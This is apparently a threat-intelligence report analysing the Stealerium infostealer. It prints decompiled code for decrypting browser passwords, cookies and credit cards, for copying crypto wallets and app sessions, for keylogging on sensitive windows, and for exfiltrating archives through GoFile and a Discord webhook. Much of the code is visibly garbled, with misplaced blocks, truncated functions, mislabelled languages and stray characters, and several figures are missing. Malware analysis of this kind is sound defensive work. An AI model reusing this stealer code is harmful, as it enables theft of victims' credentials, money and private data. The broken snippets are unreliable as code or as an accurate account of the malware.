A Detailed Analysis of a New Stealer Called Stealerium

Prepared by: Vlad Pasca, Senior Malware & Threat Analyst
Table of contents

Table of contents 1
Executive summary 2
Analysis and findings 2
Anti-Analysis Techniques 4
Information Stealing - Browsers 9
Information Stealing – Different applications 20
Information Stealing – Cryptocurrency Wallets 30
Information Stealing – VPN software 35
Information Stealing – Host information 36
Indicators of Compromise 54
Executive summary

Stealerium is an open-source stealer available on GitHub. The malware steals information from browsers, cryptocurrency wallets, and applications such as Discord, Pidgin, Outlook, Telegram, Skype, Element, Signal, Tox, Steam, Minecraft, and VPN clients. The binary also gathers data about the infected host, such as the running processes, Desktop and webcam screenshots, Wi-Fi networks, the Windows product key, and the public and private IP address. The stealer employs multiple anti-analysis techniques, such as detecting virtual machines, sandboxes, and malware analysis tools and checking if the process is being debugged. The malware also embedded a keylogger module and a clipper module that replaces cryptocurrency wallet addresses with the threat actor’s addresses if the victim makes a transaction. The stolen information is sent to a Discord channel using a Discord Webhook.

Analysis and findings

SHA256: 7B19B3064720EFA6A65F69C6187ABBD0B812BF9F91DDE70088AFBB693814C930

The process creates a mutex called “B0P2018UODTBXZ90M2YK” to ensure that only one instance of the malware is running at a single time:

```
private static void Main()
{
    Thread thread = null;
    Thread thread2 = null;
    ServicePointManager.Expect100Continue = true;
    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
    ServicePointManager.DefaultConnectionLimit = 9999;
    MutexControl.Check();
}
```

Figure 1

```
public static void Check()
{
    bool flag;
    MutexControl._mutex = new Mutex(true, Config.Mutex, ref flag);
    if (flag)
    {
        MutexControl._mutex.ReleaseMutex();
        return;
    }
    Environment.Exit(0);
}
```

Figure 2

The malware implements a function called “InitWorkDir” that creates a directory in the LocalAppData folder that is hidden. The directory name is the MD5 hash of the mutex name concatenated with the username, computer name, system language, CPU name, and GPU name, as shown below:
The stealer embedded an encrypted Discord webhook in its configuration. It verifies if the webhook contains the “---” string and kills the current process using a batch file created in the temporary folder if true:
Anti-Analysis Techniques

The executable implements a few anti-analysis mechanisms: a check if the public IP is hosting, colocated, or a data center; the detection of running malware analysis processes; the detection of virtual machines/sandboxes and the verification that the process is being debugged:
The binary performs a network request to a legitimate geolocation service and extracts the “hosting” field from the response. The URL is decrypted using the AES256 algorithm with the key that is hard-coded to “http://ip-api.com/line/?fields=hosting” (see figure 11).
The stealer searches for malware analysis tools such as Process Hacker, Wireshark, and TcpView, as highlighted in figure 12.

The malware verifies that it's not running in a virtual machine such as VirtualBox or VMware:
The malicious process checks for the presence of multiple DLLs corresponding to sandboxes (see figure 14).

```csharp
public static bool SandBox()
{
    return new string[]
    {
        "SbieDll",
        "SxIn",
        "Sf2",
        "Snxhk",
        "cmdvrt32"
    }.Any((string dll) => AntiAnalysis.GetModuleHandle(dll + ".dll").ToInt32() != 0);
}
```

Figure 14

The CheckRemoteDebuggerPresent API is utilized to verify whether the current process is being debugged:

```csharp
public static bool Debugger()
{
    bool result = false;
    try
    {
        AntiAnalysis.CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref result);
        return result;
    }
    catch
    {
    }
    return result;
}
```

Figure 15

A fake error message is displayed, and the process is terminated if any of the above checks pass:

```csharp
public static void FakeErrorMessage()
{
    string text = StringsCrypt.GenerateRandomData("1");
    text = "Ex" + text.Substring(0, 5);
    Logging.Log("Sending fake error message box with code: " + text, true);
    MessageBox.Show("Exit code " + text, "Runtime error", MessageBoxButtons.RetryCancel, MessageBoxIcon.Hand);
    SelfDestruct.Melt();
}
```

Figure 16

The webhook and crypto wallet addresses are Base64-decoded and then decrypted using AES256:
The process verifies whether the Discord webhook is valid or not:

The malicious binary creates a subfolder called “Username@Computername_Language” in the directory created by the InitWorkDir function (see figure 20).
Information Stealing - Browsers

The stealer targets multiple Chromium-based browsers (figure 21). Most can be found in the LocalAppData directory:

```csharp
public static string Save()
{
    Console.WriteLine("Running passwords recovery...");
    {
        Directory.CreateDirectory(Passwords.PasswordsStoreDirectory);
    }
    else
    {
        try
        {
            File.Delete(Passwords.PasswordsStoreDirectory);
        }
        catch
        {
            logging.Log("Failed recursive remove directory with passwords", true);
        }
    }
    {
        return "";
    }
    return Passwords.PasswordsStoreDirectory;
}

// Token: 0x0000001A RID: 26
private static readonly string PasswordsStoreDirectory = Path.Combine(Paths.InitDir(), string.Concat(new string[]
{
    SystemInfo.Username,
    ",",
    SystemInfo.Computer,
    ",",
    SystemInfo.Culture
}));
```
The malware wants to steal credit cards, passwords, cookies, browser history, and bookmarks. The stolen information is saved in “.txt” files:

```csharp
string path;
if (text.Contains("Opera Software"))
{
    path = Paths.Appdata + text;
}
else
{
    path = Paths.Lappldata + text;
}
if (Directory.Exists(path))
{
    foreach (string str in Directory.GetDirectories(path))
    {
        string text2 = sSavePath + "\" + Crypto.BrowserPathToAppName(text);
        Directory.CreateDirectory(text2);
    }
}
```

Figure 22

The malicious process extracts credit cards’ information from the “credit_cards” table, which is located in the “Web Data” database. The credit card number is decrypted using the Master key extracted from the machine by calling the DpapiDecrypt function:

```csharp
List<CreditCard> cCc = CreditCards.Get(str + "\Web Data");
List<Password> pPasswords = Passwords.Get(str + "\Login Data");
List<Cookie> cCookies = Cookies.Get(str + "\Cookies");
List<History> sHistory = History.Get(str + "\History");
List<Site> sHistory2 = Downloads.Get(str + "\History");
List<AutoFill> aFills = AutoFill.Get(str + "\Web Data");
List<Bookmark> bBookmarks = Bookmarks.Get(str + "\Bookmarks");
CBrowserUtils.WriteCreditCards(cCc, text2 + "\creditCards.txt");
CBrowserUtils.WritePasswords(pPasswords, text2 + "\Passwords.txt");
CBrowserUtils.WriteCookies(cCookies, text2 + "\Cookies.txt");
CBrowserUtils.WriteHistory(sHistory, text2 + "\History.txt");
CBrowserUtils.WriteHistory(sHistory2, text2 + "\Downloads.txt");
CBrowserUtils.WriteAutoFill(aFills, text2 + "\AutoFill.txt");
CBrowserUtils.WriteBookmarks(bBookmarks, text2 + "\Bookmarks.txt");
```

Figure 23
```csharp
public static List<CreditCard> Get(string sWebData)
{
    List<CreditCard> list = new List<CreditCard>();
    try
    {
        SQLite sqlite = SqlHelper.ReadTable(sWebData, "credit_cards");
        if (sqlite == null)
        {
            return list;
        }
        for (int i = 0; i < sqlite.GetRowCount(); i++)
        {
            CreditCard item = new CreditCard
            {
                Number = Crypto.GetUtf8(Crypto.EasyDecrypt(sWebData, sqlite.GetValue(i, 4))),
                ExpYear = Crypto.GetUtf8(sqlite.GetValue(i, 3)),
                ExpMonth = Crypto.GetUtf8(sqlite.GetValue(i, 2)),
                Name = Crypto.GetUtf8(sqlite.GetValue(i, 1))
            };
            list.Add(item);
        }
    }
    catch (Exception ex)
    {
        string str = "Chromium >> Failed to collect credit card info";
        Exception ex2 = ex;
        log.Error(str + ((ex2 != null) ? ex2.ToString() : null), true);
    }
    return list;
}
```

**Figure 24**

```csharp
public static string EasyDecrypt(string sLoginData, string sPassword)
{
    if (sPassword.StartsWith("v10") || sPassword.StartsWith("v11"))
    {
        byte[] masterKey = Crypto.GetMasterKey(Directory.GetParent(sLoginData).Parent.FullName);
        return Crypto.Default.GetString(Encoding.Default.GetBytes(sPassword), masterKey);
    }
}
```

**Figure 25**

```csharp
public static byte[] GetMasterKey(string sLocalStateFolder)
{
    string text;
    if (HttpClientStateFolder.Contains("Opera"))
    {
        text = sLocalStateFolder + "\User\Local\State";
    }
    else
    {
        text = sLocalStateFolder + "\Local\State";
    }
    byte[] array = new byte[4];
    (uint).Parse(text)
    return null;
}
```

**Figure 26**
It extracts the URLs, usernames, and passwords from the “logins” table found in the “Login Data” database. The password is decrypted using the Master key, as shown below:

```csharp
public static List<Password> Get(string loginData)
{
    List<Password> list = new List<Password>();
    try
    {
        SQLite.sqlite = SQLiteReader.ReadFile(loginData, "logins");
        if (sqlite == null)
            return list;
        for (int i = 0; i < sqlite.RowCount(); i++)
        {
            Password item = new Password
            {
                URL = Crypto.GetUTF8(sqlite.GetValue(i, 0)),
                Username = Crypto.GetUTF8(sqlite.GetValue(i, 1))
            };
            string value = sqlite.GetValue(i, 5);
            if (value != null)
            {
                item.Pass = Crypto.GetUTF8(Crypto.EasyDecrypt(loginData, value));
                list.Add(item);
            }
        }
    }
    catch (Exception ex)
    {
        string str = "Chromium >> Failed collect passwords;";
        Exception ex2 = ex;
        logging.Log(str += (ex2 != null) ? ex2.ToString() : null, true);
    }
    return list;
}
```

Figure 27

The ScanData function is used to verify whether the URLs contain banking services, cryptocurrency, and adult content:

```csharp
public static void ScanData(string value)
{
    Banking.DetectBankingServices(value);
    Banking.DetectCryptocurrencyServices(value);
    Banking.DetectPornServices(value);
}
```

Figure 28

```csharp
public static string[] BankingServices = new string[]
{
    "bank",
    "money",
    "exchange",
    "trade",
    "credit",
    "card",
};
```

Figure 29
The binary extracts and decrypts the cookies from the “Cookies” database:

```csharp
public static List<Cookie> Get(string sCookie)
{
    List<Cookie> list = new List<Cookie>();
    try
    {
        Sqlite sqlite = SqlReader.ReadFile(sCookie, "cookies");
        if (sqlite == null)
        {
            return list;
        }
        for (int i = 0; i < sqlite.GetRowCount(); i++)
        {
            Cookie item = new Cookie
            {
                Value = Crypto.EasyDecrypt(sCookie, sqlite.GetValue(i, 12)),
                if (item.Value == "")
                {
                    item.Value = sqlite.GetValue(i, 3);
                }
                item.HostKey = Crypto.GetBytes(sqlite.GetValue(i, 1));
                item.Name = Crypto.GetBytes(sqlite.GetValue(i, 2));
                item.Path = Crypto.GetBytes(sqlite.GetValue(i, 4));
                item.ExpireDate = Crypto.GetBytes(sqlite.GetValue(i, 5));
                item.IsSecure = Crypto.GetBytes(sqlite.GetValue(i, 8));
                list.Add(item);
            }
        }
        catch (Exception ex)
        {
            string str = "Chromium >> Failed collect cookies\n"
            Exception ex2 = ex;
            Logging.Log(str + ((ex2 != null) ? ex2.ToString() : null), true);
        }
    }
    return list;
}
```

The stealer also targets the Browser History by retrieving some fields from the “urls” table found in the “History” database (see figure 31).

```csharp
public static List<Site> Get(string sHistory)
{
    List<Site> list = new List<Site>();
    try
    {
        Sqlite sqlite = SqlReader.ReadFile(sHistory, "urls");
        if (sqlite == null)
        {
            return list;
        }
        for (int i = 0; i < sqlite.GetRowCount(); i++)
        {
            Site item = new Site
            {
                Title = Crypto.GetBytes(sqlite.GetValue(i, 1)),
                URL = Crypto.GetBytes(sqlite.GetValue(i, 2)),
                Count = Convert.ToInt32(sqlite.GetValue(i, 8)) + 1
            }
            list.Add(item);
        }
        catch (Exception ex)
        {
            string str = "Chromium >> Failed collect History\n"
            Exception ex2 = ex;
            Logging.Log(str + ((ex2 != null) ? ex2.ToString() : null), true);
        }
    }
    return list;
}
```
The “History” database also stores the “downloads” table that contains the Chromium-based browsers downloads:

```csharp
public static List<Site> Get(string sHistory)
{
    List<Site> list = new List<Site>();
    try
    {
        Sqlite sqlite = SqlReader.ReadTable(sHistory, "downloads");
        if (sqlite == null)
        {
            return list;
        }
        for (int i = 0; i < sqlite.RowCount(); i++)
        {
            Site item = new Site
            {
                Title = Crypto.GetBytes(sqlite.GetValue(i, 2)).GetString(),
                Url = Crypto.GetBytes(sqlite.GetValue(i, 17)).GetString()
            },
            Banking.ScanData(item.Url);
            Counter.Downloads++;
            list.Add(item);
        }
    }
    catch (Exception ex)
    {
        string str = "Chromium >> Failed collect downloads\n";
        Exception ex2 = ex;
        Logging.Log(str + ((ex2 != null) ? ex2.ToString() : null), true);
    }
    return list;
}
```

**Figure 32**

The malware steals the autofill information from the “autofill” table found in the “Web Data” database:

```csharp
public static List<AutoFill> Get(string sWebData)
{
    List<AutoFill> list = new List<AutoFill>();
    try
    {
        Sqlite sqlite = SqlReader.ReadTable(sWebData, "autofill");
        if (sqlite == null)
        {
            return list;
        }
        for (int i = 0; i < sqlite.RowCount(); i++)
        {
            AutoFill item = new AutoFill
            {
                Name = Crypto.GetBytes(sqlite.GetValue(i, 0)).GetString(),
                Value = Crypto.GetBytes(sqlite.GetValue(i, 1)).GetString()
            },
            Counter.AutoFill++;
            list.Add(item);
        }
    }
    catch (Exception ex)
    {
        string str = "Chromium >> Failed collect autofill data\n";
        Exception ex2 = ex;
        Logging.Log(str + ((ex2 != null) ? ex2.ToString() : null), true);
    }
    return list;
}
```

**Figure 33**
Lastly, the process extracts the browser’s Bookmarks:

Figure 34

The execution flow for Microsoft Edge is similar to the one presented so far and will not be explained. The browsers based on the Gecko browser engine are also a target for this stealer.

The binary traverses the “Profiles” directory and extracts bookmarks, cookies, browser history, and passwords (see figure 35).
The Bookmarks are extracted from the “moz_bookmarks” table found in the “places.sqlite” database:

```csharp
public static List<Bookmark> Get(string path)
{
    List<Bookmark> list = new List<Bookmark>();
    try
    {
        SQLite sqlite = SqlHeader.ReadTable(BookmarksDbPath(path), "moz_bookmarks");
        if (sqlite == null)
        {
            return list;
        }
        for (int i = 0; i < sqlite.GetRowCount(); i++)
        {
            Bookmark item = new Bookmark
            {
                Title = Crypto.GetUtf8(sqlite.GetValue(i, 5))
            };
            if (Crypto.GetUtf8(sqlite.GetValue(i, 1)).Equals("8") || (item.Title == "0"))
            {
                Banking.ScanData(item.Title);
                Count.Bookmarks++;
                list.Add(item);
            }
        }
    }
    catch (Exception ex)
    {
        string str = "Firefox >> bookmarks collection failed!";
        Exception ex2 = ex;
        Logging.Log(str + ((ex2 != null) ? ex2.ToString() : null), true);
    }
    return list;
}
```

Figure 36

```csharp
private static string GetBookmarksDbPath(string path)
{
    try
    {
        string path2 = path + \"\Profiles\";
        if (Directory.Exists(path2))
        {
            foreach (string str in Directory.GetDirectories(path2))
            {
                if (!File.Exists(str + \"\places.sqlite\"))
                {
                    return str + \"\places.sqlite\";
                }
            }
        }
    }
    catch (Exception ex)
    {
        string str2 = "Firefox >> Failed to find bookmarks\n";
        Exception ex2 = ex;
        Logging.Log(str2 + ((ex2 != null) ? ex2.ToString() : null), true);
    }
    return null;
}
```

Figure 37

The “moz_cookies” table located in the “cookies.sqlite” database contains the following fields that are retrieved: HostKey, Name, Value, Path, and ExpiresUtc.
The malicious process retrieves the browser history from the “moz_places” table found in the “places.sqlite” database:
The malware copies the following files: “key3.db”, “key4.db”, “logins.json”, and “cert9.db”. The LoadLibrary API is used to load the “mozglue.dll” and “nss3.dll” modules into the process’s address space. Finally, the executable obtains the “hostname”, “encryptedUsername”, and “encryptedPassword” fields from the “logins.json” file and decrypts the last two by calling the Pk11SdrDecrypt function.
Information Stealing – Different Applications

The process is looking for files having the "\.log" and "\.ldb" extensions in multiple Discord directories. It extracts the Discord tokens and ensures they’re valid:
The stealer extracts the Pidgin credentials from a file called “accounts.xml” and collects the chat logs.
Outlook credentials are also a target for the malware. It queries the Windows registry looking for usernames and passwords that are decrypted by calling the ProtectedData.Unprotect function:
The binary copies the files corresponding to Telegram sessions to a directory called "Messenger\Telegram", as shown below:
Skype conversation history is also stolen by the malware (see figure 53).
The Element messaging application is also targeted by the stealer:

Multiple directories corresponding to Signal application databases and configuration are copied to the initially created directory.

The Tox directory found in the “%AppData%” folder is copied to the above directory:
The ICQ directory will also be exfiltrated, as displayed in figure 57.

Figure 57

The Steam path is extracted from the “SteamPath” registry value, and every game has a subkey under the “Software\Valve\Steam\Apps” registry key. The information about the Steam games is saved in a file called “Apps.txt”:

Figure 58

The malware collects the SSNF files and the Steam configuration files:
The stealer retrieves the files found in the "%AppData%\Ubisoft Game Launcher" folder:

```java
public static tool GetPlaybackSession(string sSavePath)
{
    if (!Directory.Exists(Uplay.Path))
    {
        return logging log("Uplay >> Session not found", true);
    }
    try
    {
        Directory.CreateDirectory(sSavePath);
        foreach (string text in Directory.GetFiles(Uplay.Path))
        {
            File.Copy(text, System.IO.Path.Combine(sSavePath, System.IO.Path.GetFileName(text)));
        }
        Counter.Uplay = true;
    }
    catch (Exception ex)
    {
        string str = "Uplay >> Error\n";
        Exception ex2 = ex;
        return logging log(str + ((ex2 == null) ? ex2.ToString() : null), false);
    }
    return true;
}
```

The files with the ".db" and ".config" extensions from the BattleNET directory are copied to the stealer’s directory:
The malicious process creates a directory that stores information related to Minecraft:

```csharp
public static void SaveAll(string sSavePath)
{
    if (!Directory.Exists(Minecraft.MinecraftPath))
    {
        return;
    }
    try
    {
        Directory.CreateDirectory(sSavePath);
        Minecraft.SaveMods(sSavePath);
        Minecraft.SaveFiles(sSavePath);
        Minecraft.SaveVersions(sSavePath);
        if (IsGrabberModule)
        {
            Minecraft.SaveLogs(sSavePath);
            Minecraft.SaveScreenshots(sSavePath);
        }
        catch (Exception ex)
        {
            string str = "Minecraft >> Failed collect data\n";
            Exception ex2 = ex;
            Logging.Log(err, (ex2 != null) ? ex2.ToString() : null, 1, false);
        }
    } catch (Exception)
    {
        string str = "Minecraft >> Failed collect data\n";
        Exception ex2 = ex;
        Logging.Log(err, (ex2 != null) ? ex2.ToString() : null, false);
    }
    return;
}
```

The Minecraft mods and versions files will be saved in ".txt" files along with their creation time extracted using the GetCreationTime function. The files containing "profile", "options", and "servers" will also be exfiltrated:
Figure 63

```java
private static void saveVersion(String savePath) {
    try {
        foreach (String path in Directory.GetFiles(Path.Combine(MinecraftPath, "versions"))) {
            string name = path.DirectoryName.Name;
            string text = File.ReadAllText(path, Encoding.UTF8);
            if (text2 == null) {
                text2 = File.ReadAllText(path, Encoding.UTF8);
            }
            File.WriteAllLines(savePath, new[] {"VERSION	",
                name, "SIZE	",
                text2, "DATE	",
                "0.0" });
        }
    }
    catch (Exception ex) {
        string str = "Minecraft >> Failed collect installed version info";
        ex = ex;
        Logging.Log(string.Format("{{ex2 != null ? ex2.ToString() : null}}", ex), null);
    }
}
```

Figure 64

```java
private static void saveUsers(string savePath) {
    try {
        foreach (string path in Directory.GetFiles(Path.Combine(MinecraftPath, "logs"))) {
            string fileName = Path.GetFileName(path);
            string text = File.ReadAllText(path, Encoding.UTF8);
            string text2 = File.ReadAllText(path, Encoding.UTF8);
            string text3 = File.ReadAllText(path, Encoding.UTF8);
            File.WriteAllLines(savePath, new[] {"UUID	",
                "filename", "SIZE	",
                text2, "DATE	",
                "0.0" });
        }
    }
    catch (Exception ex) {
        string str = "Minecraft >> Failed collect profile info";
        ex = ex;
        Logging.Log(string.Format("{{ex2 != null ? ex2.ToString() : null}}", ex), null);
    }
}
```

```java
private static void saveLogs(string savePath) {
    try {
        string[] files = Directory.GetFiles(MinecraftPath + "logs\";
        for (int i = 0; i < files.Length; i++) {
            FileInfo fileInfo = new FileInfo(files[i]);
            string text = File.ReadAllText(fileInfo.FullName);
            if (text.Contains("profile") || text.Contains("options") || text.Contains("servers") || text.Contains("servers")) {
                fileInfo.CopyTo(Path.Combine(savePath, fileInfo.Name));
            }
        }
    }
    catch (Exception ex) {
        string str = "Minecraft >> Failed collect logs info";
        ex = ex;
        Logging.Log(string.Format("{{ex2 != null ? ex2.ToString() : null}}", ex), null);
    }
}
```

// taken - 301543264 EID: 317 RVAL: 30000 NC File Offset: 30000 NC
securityscorecard.com | 28
If Config.GrabberModule is "1", then the stealer collects the Minecraft logs and screenshots:

```csharp
private static void SaveScreenshots(string sSavePath)
{
    try {
        string[] files = Directory.GetFiles(Path.Combine(Minecraft.MinecraftPath, "screenshots"));
        if (files.Length != 0)
        {
            Directory.CreateDirectory(sSavePath + "\screenshots");
            foreach (string text in files)
            {
                File.Copy(text, sSavePath + "\screenshots\" + Path.GetFileName(text));
            }
        }
    }

    catch (Exception ex)
    {
        string str = "Minecraft >> Failed collect screenshots\n";
        Exception ex2 = ex;
        Logging.Log(str + ((ex2 != null) ? ex2.ToString() : null), true);
    }
}
```

Figure 65

Information Stealing – Cryptocurrency Wallets

Stealerium tries to locate cryptocurrency wallets such as Zcash, Armory, and others in the "%AppData%" folder, and Litecoin, Dash, and Bitcoin wallets in the registry:

```csharp
public static void GetWallets(string sSaveDir)
{
    try {
        Directory.CreateDirectory(sSaveDir);
        foreach (string[] array in Wallets.WalletsDirectories)
        {
            Wallets.CopyWalletFromDirectoryTo(sSaveDir, array[1], array[0]);
            foreach (string sWalletRegistry in Wallets.WalletsRegistry)
            {
                Wallets.CopyWalletFromRegistryTo(sSaveDir, sWalletRegistry);
            }
            if (Counter.Wallets == 0)
            {
                FileManager.RecursiveDelete(sSaveDir);
            }
        }
    }

    catch (Exception ex)
    {
        string str = "Wallets >> Failed collect wallets\n";
        Exception ex2 = ex;
        Logging.Log(str + ((ex2 != null) ? ex2.ToString() : null), true);
    }
}
```

Figure 66
The malicious executable copies multiple Chrome browser wallets in a new directory called "Chrome_Wallet":

```java
private static readonly string[] walletsDirectories = new string[]
{
    "\\Chrome\Chrome_Wallet\BitcoIn",
    "\\Chrome\Chrome_Wallet\MetaMask",
    "\\Chrome\Chrome_Wallet\Ethereum",
    "\\Chrome\Chrome_Wallet\Electron",
    "\\Chrome\Chrome_Wallet\Storj",
    "\\Chrome\Chrome_Wallet\Aion",
    "\\Chrome\Chrome_Wallet\Stratis",
    "\\Chrome\Chrome_Wallet\Monero",
    "\\Chrome\Chrome_Wallet\Dogecoin",
    "\\Chrome\Chrome_Wallet\Dash",
    "\\Chrome\Chrome_Wallet\Litecoin",
    "\\Chrome\Chrome_Wallet\Zcash",
    "\\Chrome\Chrome_Wallet\ethereum",
    "\\Chrome\Chrome_Wallet\electron",
    "\\Chrome\Chrome_Wallet\stорж",
    "\\Chrome\Chrome_Wallet\aion",
    "\\Chrome\Chrome_Wallet\stratis",
    "\\Chrome\Chrome_Wallet\monero",
    "\\Chrome\Chrome_Wallet\dogecoin",
    "\\Chrome\Chrome_Wallet\dash",
    "\\Chrome\Chrome_Wallet\litecoin",
    "\\Chrome\Chrome_Wallet\zcash",
}
```

Figure 67

```java
public static void GetChromeWallets(string sSaveDir)
{
    try
    {
        Directory.CreateDirectory(sSaveDir);
        foreach (string[] array in Extensions.ChromeWalletsDirectories)
        {
            Extensions.CopyWalletFromDirectoryTo(sSaveDir, array[1], array[8]);
        }
        if (Counter.BrowserWallets == 0)
        {
            FileManager.RecursiveDelete(sSaveDir);
        }
    }
    catch (Exception ex)
    {
        string str = "Chrome Browser Wallets >> Failed to collect wallets from Chrome browser\n";
        Exception ex2 = ex;
        logging.log(str + ((ex2 != null) ? ex2.ToString() : null), true);
    }
}
```

Figure 68
A similar execution flow deals with Microsoft Edge browser wallets, as shown below:
The malware parses the XML files located at "%AppData%\FileZilla\recentservers.xml" and “AppData\FileZilla\sitemanager.xml”, and extracts the “User”, “Pass”, “Host”, and “Port” fields. The password is Base64-decoded and is saved together with the username and the URL in a file called “Hosts.txt”:

```java
private static string FormatPassword(string pPassword)
{
    return string.Concat(new string[] {
        @"U:\" ,
        pPassword.URL ,
        @"User:\" ,
        pPassword.username ,
        @"Password:\" ,
        pPassword.password ,
        @"Port:\" ,
        pPassword.Port
    });
}
```
Information Stealing – VPN Software

The binary copies the ProtonVPN “user.config” file in a newly created directory called “VPN\ProtonVPN”:
The OpenVPN configuration files will also be exfiltrated (figure 75).

The NordVPN username and password can be found in a file called “user.config”. Those values are Base64-decoded and then decrypted via a function call to ProtectedData.Unprotect:

**Figure 75**

Information Stealing – Host Information

The GetDrives method is utilized to retrieve the removable drives, and the stealer saves the
directory tree of them:

![Code snippet](image)

**Figure 77**

A list of running processes is saved in a file called “Process.txt”, and another list that also contains the caption of the main window of the processes is saved in a file called “Windows.txt”:

![Code snippet](image)

**Figure 78**
The stealer takes a screenshot of the Desktop using the CopyFromScreen method and a webcam screenshot via a call to capCreateCaptureWindowA:
The process extracts the Wi-Fi profiles and passwords and saves them in a file called “SavedNetworks.txt”. A file called “ScanningNetworks.txt” is populated with nearby Wi-Fi networks.
The Windows product key is extracted from “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DigitalProductId” registry value and decoded by a custom algorithm:

```csharp
private static string GetWindowsProductKeyFromRegistry(string activationInfo)
{
    if (activationInfo != null)
    {
        return ProductKey.DecodeProductKey(activationInfo);
    }
    return ProductKey.DecodeProductKeyFromRegistry();
}
```

If the Config.DebugMode value is 1 then the log file called “Stealerium-Latest.log” is copied from the temporary folder to a file called “Debug.txt”:
The malware concatenates data such as the public IP (obtained from icanhazip.com), private IP, default gateway, and so on (see figure 86).
The local IP address is obtained by calling the `GetHostEntry` function:

```
public static string getLocalIp()
{
    try { 
        foreach (IPAddress ipaddress in Dns.GetHostEntry(Dns.GetHostName()).AddressList) 
        { 
            if (ipaddress.AddressFamily == AddressFamily.InterNetwork) 
            { 
                return ipaddress.ToString(); 
            } 
        } 
    } 
    catch 
    { 
    } 
    return "No network adapters with an IPv4 address in the system!";
}
```

**Figure 87**

GetAllNetworkInterfaces is utilized to obtain the network interfaces on the local machine. The gateway addresses are extracted using the `GetIPProperties` method:

```
public static string getDefaultGateway()
{
    try
    {
        IPAddress ipAddress = (from a in (from n in NetworkInterface.GetAllNetworkInterfaces())
        where n.OperationalStatus == OperationalStatus.Up
        where n.NetworkInterfaceType != NetworkInterfaceType.Loopback
        select n).OrderBy(delegatet(NetworkInterface n))
        .IPInterfaceProperties ipProperties = n.GetIPProperties();
        if (ipProperties == null)
        {
            return null;
        }
        return ipProperties.GatewayAddresses;
    }
    catch
    { 
    } 
    return "Unknown";
}
```

**Figure 88**

The CPU name, GPU name, and RAM amount are extracted using WMI queries (figure 89).
The malicious binary retrieves the size of the screen and battery information:

![Code Snippet](image)

**Figure 89**

The `Clipboard.GetText` function is used to save the text data from the Clipboard to a file called "Clipboard.txt":

![Code Snippet](image)

**Figure 90**
A list of applications is saved in a file called “Apps.txt” (see figure 92).

The directory containing the files that will be exfiltrated is compressed to a zip archive. The zip archive comment contains a lot of information about the local machine, and the zip password is set to the number of ticks that represent the current date and time:
The stealer uses the GoFile API to upload the archive to GoFile.io. The `UploadFile` function returns an URL that will be uploaded on Discord:

```
public static void SendReport(string file)
{
    Logging.Log("Sending passwords archive to Gofile", true);
    string url = GoFileFileService.UploadFile(file);
    File.Delete(file);
    Logging.Log("Sending report to discord", true);
    DiscordWebhook.SendSystemInfo(url);
    Logging.Log("Report sent to discord", true);
}
```

![Figure 93](image)

![Figure 94](image)

![Figure 95](image)
The directory called “logs” is also archived to a zip file called “<Current date and time>.zip”, which is uploaded to GoFile:

![Code Snippet](image)

Figure 96

The stealer report that is uploaded to Discord via Webhooks is shown below:

![Stealer Report](image)

Figure 97
The implementation of the functions used to upload the report is presented in the figure below.

```java
public static string SendMessage(string text)
{
    try
    {
        NameValueCollection nameValueCollection = new NameValueCollection();
        using (WebClient webclient = new WebClient())
        {
            nameValueCollection.Add("username", config.username);
            nameValueCollection.Add("password", config.password);
            byte[] bytes = Encoding.UTF8.GetBytes(config.webhook + "/messages" + text);
            webclient.UploadByteArray(config.webhook + "/messages" + text, 0, bytes.Length);
        }
    }
    catch (Exception ex)
    {
        string str = "Discord >> SendMessage exception: \n" + Exception.CurrentException.Message;
        logging.Log(str + ((ex != null) ? ex.ToString() : null), true);
        return "0";
    }

    // Token: 0x00000000 RID: 9 RVA: 0x00002559 File Offset: 0x00000A59
    public static void EditMessage(string text, string id)
    {
        try
        {
            NameValueCollection nameValueCollection = new NameValueCollection();
            using (WebClient webclient = new WebClient())
            {
                nameValueCollection.Add("username", config.username);
                nameValueCollection.Add("password", config.password);
                nameValueCollection.Add("content", text);
                webclient.UploadValues(config.webhook + "/messages" + id, "PATCH", nameValueCollection);
            }
        }
        catch
        {
        }
    }
}
```

The malware establishes persistence by adding an entry to the Run registry key. It also modifies
The malicious process creates a new keylogger thread and installs a hook procedure by calling the SetWindowsHookEx API (13 = **WH_KEYBOARD_LL**):
GetKeyState is utilized to obtain the status of a specific virtual key (see figure 104).

A virtual-key code is translated into a character value using MapVirtualKey. The binary obtains
the active input locale identified via a function call to GetKeyboardLayout. The keys that were pressed are saved in a variable called “KeyLogs”:

```
private static string KeyboardLayout(uint vkCode)
{
    try
    {
        StringBuilder stringBuilder = new StringBuilder(); 
        byte[] keyStates = new byte[256];
        if (!keylogger.detectKeystroke(keyStates))
        {
            return "";
        }
        byte wancode = keylogger.mapVirtualKey(vkCode, 0);
        byte num;
        uint cthd = keylogger.keyboardLayout[keylogger.detectWindowVisibleProcessId(keylogger.detectWindowVisibleProcessId(), out num)];
        keylogger.keyLogger(vkCode, wancode, keyStates, stringBuilder, 0, 0, keylogger.keyboardLayout);
        stringBuilder.ToString();
    }
    catch
    {
    }
    Keys keys = (Keys)vkCode;
    return Keys.ToString();
}
```

Figure 105

The stealer verifies if the active window title contains strings such as “facebook”, “chat”, “password”, “sell”, and others (figure 106). For each of these windows, it takes a screenshot and records the keys pressed, as shown below:

```
public static string[] keyloggerServices = new string[]
{
    "facebook", 
    "twitter", 
    "chat", 
    "telegram", 
    "skype", 
    "discord", 
    "viber", 
    "message", 
    "gmail", 
    "protonmail", 
    "outlook", 
    "password", 
    "encryption", 
    "account", 
    "login", 
    "key", 
    "sign in", 
    "bank", 
    "credit", 
    "card", 
    "shop", 
    "buy", 
    "sell"
};
```

Figure 106
Another functionality is checking if the active window contains adult content. For each of these windows, the process takes screenshots of the window and the webcam:

Finally, the malware verifies if the active window name contains strings referring to cryptocurrencies:
private static void Run()
{
    for (; ;)
    {
        Thread.Sleep(2000);
        ClipboardManager.ClipboardText = Clipboard.GetText();
        if (!ClipboardManager.ClipboardText == ClipboardManager._prevClipboard)
        {
            ClipboardManager._prevClipboard = ClipboardManager.ClipboardText;
            EventManager.Action();
        }
    }
}

public static void Action()
{
    Logger.SaveClipBoard();
    if (EventManager.Detect())
    {
        Buffer.Replace();
    }
}

// Token: 0x06000282 RID: 514 RVA: 0x00010A20 File Offset: 0x0000EC20
private static bool Detect()
{
    foreach (string value in Config.CryptoServices)
    {
        if (WindowTextManager.ActiveWindow.ToLower().Contains(value))
        {
            return true;
        }
    }
    return false;
}

